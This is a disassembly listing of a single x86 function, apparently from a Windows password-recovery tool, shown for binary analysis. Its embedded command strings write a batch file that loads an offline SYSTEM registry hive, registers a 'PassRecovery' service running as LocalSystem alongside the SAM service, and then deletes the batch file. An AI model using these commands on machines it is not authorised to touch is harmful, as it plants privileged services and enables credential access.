Function at 0x444400
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1278
call fcn.004230d0
mov eax, dword [0x4750fc]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x126c], ecx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x348]
push ecx
mov edx, dword [ebp - 0x126c]
add edx, 0x146
push edx
mov eax, dword [ebp - 0x126c]
add eax, 0x350
push eax
mov ecx, dword [ebp - 0x126c]
add ecx, 0x12c
call fcn.004018d0
push eax
push str._UnLoadNTDSFile__size:_d__ntds:_s__windir:_s__currentset:_d._n
push 0x47fcf0
call fcn.0043c100
add esp, 0x18
mov ecx, dword [ebp - 0x126c]
add ecx, 0x12c
call fcn.004018d0
test eax, eax
jbe 0x44498c
mov byte [ebp - 0x180], 0
push 0x63
push 0
lea ecx, [ebp - 0x17f]
push ecx
call fcn.0041bda0
add esp, 0xc
mov edx, dword [ebp - 0x126c]
movsx eax, byte [edx + 0x146]
push eax
push 0x46768c
lea ecx, [ebp - 0x180]
push ecx
call fcn.0041bfd7
add esp, 0xc
lea edx, [ebp - 0x180]
push edx
push 0x46769c
push 0x98
mov ecx, dword [ebp - 0x126c]
call fcn.00442700
mov byte [ebp - 0x1e9], al
movzx eax, byte [ebp - 0x1e9]
test eax, eax
je 0x4444f5
mov dword [ebp - 0x1270], 0x4676a4
jmp 0x4444ff
mov dword [ebp - 0x1270], 0x4676ac
mov ecx, dword [ebp - 0x1270]
push ecx
push str.ExtractFile1_return__s_n
push 0x47fcf0
call fcn.0043c100
add esp, 0xc
push 0x64
push 0
lea edx, [ebp - 0x180]
push edx
call fcn.0041bda0
add esp, 0xc
mov eax, dword [ebp - 0x126c]
movsx ecx, byte [eax + 0x146]
push ecx
push str._c:PassRec.exe
lea edx, [ebp - 0x180]
push edx
call fcn.0041bfd7
add esp, 0xc
lea eax, [ebp - 0x180]
push eax
push 0x4676dc
push 0x96
mov ecx, dword [ebp - 0x126c]
call fcn.00442700
mov byte [ebp - 0x1e9], al
movzx ecx, byte [ebp - 0x1e9]
test ecx, ecx
je 0x444586
mov dword [ebp - 0x1274], 0x4676e4
jmp 0x444590
mov dword [ebp - 0x1274], 0x4676ec
mov edx, dword [ebp - 0x1274]
push edx
push str.ExtractFile2_return__s_n
push 0x47fcf0
call fcn.0043c100
add esp, 0xc
push 0x64
push 0
lea eax, [ebp - 0x180]
push eax
call fcn.0041bda0
add esp, 0xc
mov ecx, dword [ebp - 0x126c]
movsx edx, byte [ecx + 0x146]
push edx
push 0x46770c
lea eax, [ebp - 0x180]
push eax
call fcn.0041bfd7
add esp, 0xc
lea ecx, [ebp - 0x180]
push ecx
push 0x467718
push 0x97
mov ecx, dword [ebp - 0x126c]
call fcn.00442700
mov byte [ebp - 0x1e9], al
movzx edx, byte [ebp - 0x1e9]
test edx, edx
je 0x444617
mov dword [ebp - 0x1278], 0x467720
jmp 0x444621
mov dword [ebp - 0x1278], 0x467728
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x348]
push ecx
mov edx, dword [ebp - 0x1278]
push edx
push str.ExtractFile3_return__s__m_nCurrentControlSet_03d__n
push 0x47fcf0
call fcn.0043c100
add esp, 0x10
mov eax, dword [ebp - 0x126c]
cmp dword [eax + 0x348], 0
jne 0x444666
mov ecx, dword [ebp - 0x126c]
mov dword [ecx + 0x348], 1
mov byte [ebp - 0x1e8], 0
push 0x63
push 0
lea edx, [ebp - 0x1e7]
push edx
call fcn.0041bda0
add esp, 0xc
mov eax, dword [ebp - 0x126c]
movsx ecx, byte [eax + 0x146]
push ecx
push 0x467764
lea edx, [ebp - 0x1e8]
push edx
call fcn.0041bfd7
add esp, 0xc
mov byte [ebp - 0x110], 0
push 0xfe
push 0
lea eax, [ebp - 0x10f]
push eax
call fcn.0041bda0
add esp, 0xc
mov ecx, dword [ebp - 0x126c]
movsx edx, byte [ecx + 0x146]
push edx
push str._c:createsvc.bat
lea eax, [ebp - 0x110]
push eax
call fcn.0041bfd7
add esp, 0xc
push 0x46778c
lea ecx, [ebp - 0x110]
push ecx
call fcn.0041de9a
add esp, 8
mov dword [ebp - 0x114], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x114]
push edx
push str._UnLoadNTDSFile__fopen_return__p__err:_d_n
push 0x47fcf0
call fcn.0043c100
add esp, 0x10
cmp dword [ebp - 0x114], 0
je 0x44498c
lea eax, [ebp - 0x1e8]
push eax
mov ecx, dword [ebp - 0x126c]
movsx edx, byte [ecx + 0x144]
push edx
mov eax, dword [ebp - 0x126c]
movsx ecx, byte [eax + 0x146]
push ecx
lea edx, [ebp - 0x1e8]
push edx
mov eax, dword [ebp - 0x126c]
add eax, 0x146
push eax
push str.reg_load_HKLMAddUser_SYSTEM__s_system32configSYSTEM______s_2_1__n_c:_sc_create_PassRecovery_Type_own_Start_auto_depend_SamSs_Binpath__c:_srvany.exe_Obj_LocalSystem_displayname_PassRecovery__group_MS_WindowsLocalValidation_____s_2_1__n
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.0041deb1
add esp, 0x1c
mov byte [ebp - 0x1260], 0
push 0xfff
push 0
lea edx, [ebp - 0x125f]
push edx
call fcn.0041bda0
add esp, 0xc
mov dword [ebp - 0x1264], 0
jmp 0x4447aa
mov eax, dword [ebp - 0x1264]
add eax, 1
mov dword [ebp - 0x1264], eax
mov ecx, dword [ebp - 0x126c]
add ecx, 0x12c
call fcn.004018d0
cmp dword [ebp - 0x1264], eax
jae 0x44483c
cmp dword [ebp - 0x1264], 0
jle 0x4447e0
push 0x4678b8
lea ecx, [ebp - 0x1260]
push ecx
call fcn.0041d8c0
add esp, 8
push 0x4678bc
lea edx, [ebp - 0x1260]
push edx
call fcn.0041d8c0
add esp, 8
mov eax, dword [ebp - 0x1264]
push eax
mov ecx, dword [ebp - 0x126c]
add ecx, 0x12c
call fcn.004018f0
mov ecx, eax
call fcn.00401480
push eax
lea ecx, [ebp - 0x1260]
push ecx
call fcn.0041d8c0
add esp, 8
push 0x4678c0
lea edx, [ebp - 0x1260]
push edx
call fcn.0041d8c0
add esp, 8
jmp 0x44479b
lea eax, [ebp - 0x1260]
push eax
push str._szAccList___s__n
push 0x47fcf0
call fcn.0043c100
add esp, 0xc
mov byte [ebp - 0x258], 0
push 0x63
push 0
lea ecx, [ebp - 0x257]
push ecx
call fcn.0041bda0
add esp, 0xc
mov edx, dword [ebp - 0x126c]
movsx eax, byte [edx + 0x146]
push eax
push 0x4678d8
lea ecx, [ebp - 0x258]
push ecx
call fcn.0041bfd7
add esp, 0xc
push 0x4678e8
lea edx, [ebp - 0x258]
push edx
call fcn.0041de9a
add esp, 8
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x25c]
push eax
call fcn.0041e533
add esp, 4
lea ecx, [ebp - 0x1e8]
push ecx
lea edx, [ebp - 0x1260]
push edx
mov eax, dword [ebp - 0x126c]
movsx ecx, byte [eax + 0x144]
push ecx
push str.reg_add_HKLMSYSTEMCurrentControlSet_servicesPassRecoveryParameters__v_Application__t_REG_SZ__d___c:PassRec.exe__s____f______s_2_1__n
mov edx, dword [ebp - 0x114]
push edx
call fcn.0041deb1
add esp, 0x14
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x258]
push ecx
lea edx, [ebp - 0x1e8]
push edx
lea eax, [ebp - 0x1e8]
push eax
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x348]
push edx
push str.reg_copy_HKLMSYSTEMCurrentControlSet_servicesPassRecovery_HKLMAddUser_SYSTEMControlSet_03d_servicesPassRecovery__s__f______s_2_1__nreg_unload_HKLMAddUser_SYSTEM______s_2_1__ndel__s_______s_2_1
mov eax, dword [ebp - 0x114]
push eax
call fcn.0041deb1
add esp, 0x1c
mov ecx, dword [ebp - 0x114]
push ecx
call fcn.0041e533
add esp, 4
lea edx, [ebp - 0x110]
push edx
mov ecx, dword [ebp - 0x126c]
call fcn.00442800
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x44497f
lea ecx, [ebp - 0x258]
push ecx
push str._PathFileExists__s__n
push 0x47fcf0
call fcn.0043c100
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x444948
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x554]
push ecx
mov edx, dword [ebp - 0x126c]
mov eax, dword [edx + 0x558]
push eax
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x560]
push edx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x55c]
push ecx
push str.UnLoadNTDSFile_m_TableID:_d__m_DatabaseID:_d__m_SessionID:_d__m_hInstance:_d_n
push 0x47fcf0
call fcn.0043c100
add esp, 0x18
mov edx, dword [ebp - 0x126c]
add edx, 0x350
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x126c]
cmp dword [eax + 0x55c], 0
je 0x444a2b
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x55c]
push edx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x558]
push ecx
mov edx, dword [ebp - 0x126c]
mov eax, dword [edx + 0x590]
call eax
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x126c]
mov dword [ecx + 0x55c], 0
mov edx, dword [ebp - 0x126c]
cmp dword [edx + 0x560], 0
je 0x444a99
push 0
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x560]
push ecx
mov edx, dword [ebp - 0x126c]
mov eax, dword [edx + 0x558]
push eax
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x594]
call edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x558]
push edx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x598]
call ecx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x126c]
mov dword [edx + 0x560], 0
mov eax, dword [ebp - 0x126c]
cmp dword [eax + 0x558], 0
je 0x444ad8
push 0
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x558]
push edx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x59c]
call ecx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x126c]
mov dword [edx + 0x558], 0
mov eax, dword [ebp - 0x126c]
cmp dword [eax + 0x554], 0
je 0x444b17
push 0
mov ecx, dword [ebp - 0x126c]
mov edx, dword [ecx + 0x554]
push edx
mov eax, dword [ebp - 0x126c]
mov ecx, dword [eax + 0x5a0]
call ecx
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x126c]
mov dword [edx + 0x554], 0
mov eax, dword [ebp - 0x126c]
cmp dword [eax + 0x564], 0
je 0x444bb2
mov dword [ebp - 0x1268], 0
jmp 0x444b45
mov ecx, dword [ebp - 0x1268]
add ecx, 1
mov dword [ebp - 0x1268], ecx
mov edx, dword [ebp - 0x126c]
mov eax, dword [ebp - 0x1268]
cmp eax, dword [edx + 0x568]
jge 0x444b7d
mov ecx, dword [ebp - 0x1268]
imul ecx, ecx, 0x24
mov edx, dword [ebp - 0x126c]
mov eax, dword [edx + 0x564]
mov ecx, dword [eax + ecx + 4]
push ecx
call fcn.0041baa5
add esp, 4
jmp 0x444b36
mov edx, dword [ebp - 0x126c]
mov eax, dword [edx + 0x564]
push eax
call fcn.0041baa5
add esp, 4
mov ecx, dword [ebp - 0x126c]
mov dword [ecx + 0x564], 0
mov edx, dword [ebp - 0x126c]
mov dword [edx + 0x568], 0
mov ecx, dword [ebp - 0x126c]
call fcn.00442ad0
mov ecx, dword [ebp - 0x126c]
call fcn.004442b0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041b731
mov esp, ebp
pop ebp
ret